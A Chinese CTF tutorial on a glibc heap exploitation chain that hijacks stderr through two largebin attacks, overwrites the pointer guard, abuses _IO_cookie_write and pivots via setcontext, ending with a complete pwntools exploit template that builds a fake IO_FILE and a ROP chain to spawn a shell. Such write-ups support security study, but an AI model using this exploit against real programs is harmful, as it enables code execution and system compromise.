前言
一种利用难度低 但是效果很强大的house of链 只需要两次largebinattack就可以做到控制程序执行流
链路分析
触发方式是基于house of kiwi 通过top chunk的size不足以供分配时 申请一个大size 而此时top chunk的size经过不正常覆盖 导致的检测失败 触发报错 引起的stderr结构体任意函数调用
断点打在所有的伪造已经结束后 我们触发报错 准备利用fake_file 跟进到malloc函数中的int_malloc
随后跟进到sysmalloc函数
触发malloc_assert函数
到这里和house of kiwi都还是利用的同一条链 接下来的会有所差别 house of kiwi考的是劫持IO_list_all来实现的fake_file 随后劫持vtable结构体 而此次链是利用stderr标准报错的输出来利用
我们首先需要跟进一下__fxprintf函数
从这两条汇编可以看出 确实是和stderr有关 这里其存储的值已经被我利用largebinattack修改为了堆地址
接下来 来看一下是如何一步步获取控制执行流的能力以及要绕过哪些判断
这里是第一个需要注意的点 此时rdi的值由rbx+0x88索引得到 而这个地址也是位于堆地址上的 这个值在随后的cmp指令中 嵌套了一个qword ptr 这意味着其值需为一个地址 才能继续执行下去 这里我选择的是堆基址 也就是rdi如图所示的值
随后跟进到locked_vfxprintf函数中继续利用 随后继续跟进函数
接着你会发现 在这个函数中 存在一个致命的任意函数调用
这张图中最重要的就是rax寄存器 这个值如何控制 可以看到call执行的地址和rax寄存器是相关的 控制了rax也就可以控制程序执行流
我们回溯一下汇编代码 定位到可供我们控制rax值的语句
我们定位了到了这一句 可以看出此时r12寄存器的值是我们覆盖stderr的堆地址 也就是说在对应0xd8偏移处 填入我们想要其call的目标 就可以劫持程序执行流 实际上也就是覆盖了vtable结构体
那么接下来的手法就是很普遍的2.29以后万能gadget+setcontext的办法来控制程序执行流 这里我懒得写orw了 只写了个system链 完整的伪造随后分析吧 接下来来看一下相关的注意事项
注意事项
首先我们要明白本次利用是如何获取执行流控制的机会的 对于vtable的具体位置的检测是比较宽松的 也就是说我们可以轻微的更改原本的偏移 使得我们调用到原本vtable表中的任意函数
static const struct _IO_jump_t _IO_cookie_jumps libio_vtable = { JUMP_INIT_DUMMY, JUMP_INIT(finish, _IO_file_finish), JUMP_INIT(overflow, _IO_file_overflow), JUMP_INIT(underflow, _IO_file_underflow), JUMP_INIT(uflow, _IO_default_uflow), JUMP_INIT(pbackfail, _IO_default_pbackfail), JUMP_INIT(xsputn, _IO_file_xsputn), JUMP_INIT(xsgetn, _IO_default_xsgetn), JUMP_INIT(seekoff, _IO_cookie_seekoff), JUMP_INIT(seekpos, _IO_default_seekpos), JUMP_INIT(setbuf, _IO_file_setbuf), JUMP_INIT(sync, _IO_file_sync), JUMP_INIT(doallocate, _IO_file_doallocate), JUMP_INIT(read, _IO_cookie_read), JUMP_INIT(write, _IO_cookie_write), JUMP_INIT(seek, _IO_cookie_seek), JUMP_INIT(close, _IO_cookie_close), JUMP_INIT(stat, _IO_default_stat), JUMP_INIT(showmanyc, _IO_default_showmanyc), JUMP_INIT(imbue, _IO_default_imbue), };
|
在这么多函数中 存在部分函数 其参数和调用指针均可被file结构体控制 所以就相当于一次任意指针调用 供我们控制程序执行流 以write举例
_IO_cookie_write (FILE *fp, const void *buf, ssize_t size) { struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp; cookie_write_function_t *write_cb = cfile->__io_functions.write; #ifdef PTR_DEMANGLE PTR_DEMANGLE (write_cb); #endif
if (write_cb == NULL) { fp->_flags |= _IO_ERR_SEEN; return 0; }
ssize_t n = write_cb (cfile->__cookie, buf, size); if (n < size) fp->_flags |= _IO_ERR_SEEN;
return n; }
|
可以看到调用write的指针和参数 都是由file结构体提供的 同时这里还要注意一下这个选项
#ifdef PTR_DEMANGLE PTR_DEMANGLE (write_cb); #endif
|
其主要的作用就是起到加密指针 将原本的指针ror后 再和fs寄存器0x30偏移处的值进行异或
由于对应的值我们没有办法泄露出来 所以可以通过两次largebinattack覆盖其为我们已知的值
而两次largebinattack需要比较多的辅助chunk 我们肯定是想着能用到较少的chunk更好 所以就存在了第一次largebinattack完以后 我们需要重新回收chunk 将其从bin中重新申请出来 就需要恢复两个largebin chunk的四个域
利用模板
add(0x420) add(0x10) add(0x410) add(0x10) delete(0) add(0x500) delete(2) show(0) libc_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-0x1ebfd0 success("libc_addr :"+hex(libc_addr)) delete(1) delete(3) show(3) io.recv() heap_addr = u64(io.recv(6).ljust(8,b'\x00'))-0x6d0 success("heap_addr :"+hex(heap_addr)) stderr_addr = libc_addr + libc.sym['stderr'] payload = p64(0)*3 + p64(stderr_addr-0x20) edit(0,len(payload),payload) add(0x500)
former_libc = libc_addr + 0x1ebfd0 chunk0_addr = heap_addr +0x290 chunk2_addr = heap_addr +0x6e0 payload = p64(former_libc)+p64(chunk0_addr)*3 edit(2,len(payload),payload) payload = p64(chunk2_addr)+p64(former_libc)+p64(chunk2_addr)*2 edit(0,len(payload),payload)
add(0x420) add(0x410) delete(6) add(0x500) delete(7) TLS_addr = libc_addr+0x1f3580 success(hex(TLS_addr)) payload = p64(0)*3+p64(TLS_addr+0x30-0x20) edit(6,len(payload),payload) add(0x500)
payload = p64(former_libc)+p64(chunk0_addr)*3 edit(2,len(payload),payload) payload = p64(chunk2_addr)+p64(former_libc)+p64(chunk2_addr)*2 edit(0,len(payload),payload)
payload = cyclic(0x508)+p64(0x100) edit(9,len(payload),payload)
next_chain = 0 srop_addr = heap_addr + 0x7c0 gadget_addr = libc_addr + 0x00000000001547a0 setcontext_addr = libc_addr + libc.sym['setcontext']+61 rdi_addr = libc_addr + next(libc.search(asm("pop rdi;ret"))) binsh_addr = libc_addr + next(libc.search(b"/bin/sh")) system_addr = libc_addr + libc.sym['system'] ret_addr = libc_addr + 0x0000000000025679 fake_IO_FILE = 2 * p64(0) fake_IO_FILE += p64(0) fake_IO_FILE += p64(0) fake_IO_FILE += p64(0) fake_IO_FILE += p64(0) fake_IO_FILE += p64(0) fake_IO_FILE = fake_IO_FILE.ljust(0x58, b'\x00') fake_IO_FILE += p64(next_chain) fake_IO_FILE = fake_IO_FILE.ljust(0x78, b'\x00') fake_IO_FILE += p64(heap_addr) fake_IO_FILE = fake_IO_FILE.ljust(0xB0, b'\x00') fake_IO_FILE += p64(0) fake_IO_FILE = fake_IO_FILE.ljust(0xC8, b'\x00') fake_IO_FILE += p64(libc_addr + 0x1eca20 + 0x40) fake_IO_FILE += p64(srop_addr) fake_IO_FILE += p64(srop_addr) fake_IO_FILE += p64(ROL(gadget_addr ^ (heap_addr + 0x6e0), 0x11)) fake_IO_FILE += p64(0)+p64(setcontext_addr) fake_IO_FILE += cyclic(0x78)+p64(heap_addr+0x868)+p64(ret_addr)+p64(rdi_addr)+p64(binsh_addr)+p64(system_addr) edit(2,len(fake_IO_FILE),fake_IO_FILE)
add(0x1000)
io.interactive()
|
部分地方根据自己复现的二进制文件不同修改 自己动调一遍其实就懂了